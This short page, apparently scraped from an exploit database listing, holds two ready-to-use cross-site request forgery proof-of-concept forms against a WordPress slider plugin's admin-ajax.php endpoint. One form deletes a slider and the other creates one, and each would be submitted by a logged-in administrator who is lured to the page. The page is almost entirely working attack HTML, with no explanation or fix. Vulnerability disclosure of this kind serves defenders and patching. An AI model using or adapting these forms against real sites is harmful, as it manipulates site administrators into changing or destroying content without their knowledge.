Share
## https://sploitus.com/exploit?id=WPEX-ID:CCD9DB76-82DD-4151-B382-9663E96686BA
To delete a slider:
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="sf_remove_slider" />
<input type="hidden" name="do_action" value="single" />
<input type="hidden" name="sf_slider_id" value="2" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
To create a slider
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="sf_save_slider" />
<input type="hidden" name="sf_slider_id" value="1" />
<input type="hidden" name="sf_slider_layout" value="1" />
<input type="hidden" name="sf_slider_title" value="CSRF" />
<input type="hidden" name="sf_slide_ids" value="" />
<input type="hidden" name="sf_slide_titles" value="" />
<input type="hidden" name="sf_slide_descs" value="" />
<input type="hidden" name="sf_1_width" value="100%" />
<input type="hidden" name="sf_1_height" value="100%" />
<input type="hidden" name="sf_1_auto_play" value="true" />
<input type="hidden" name="sf_1_sorting" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>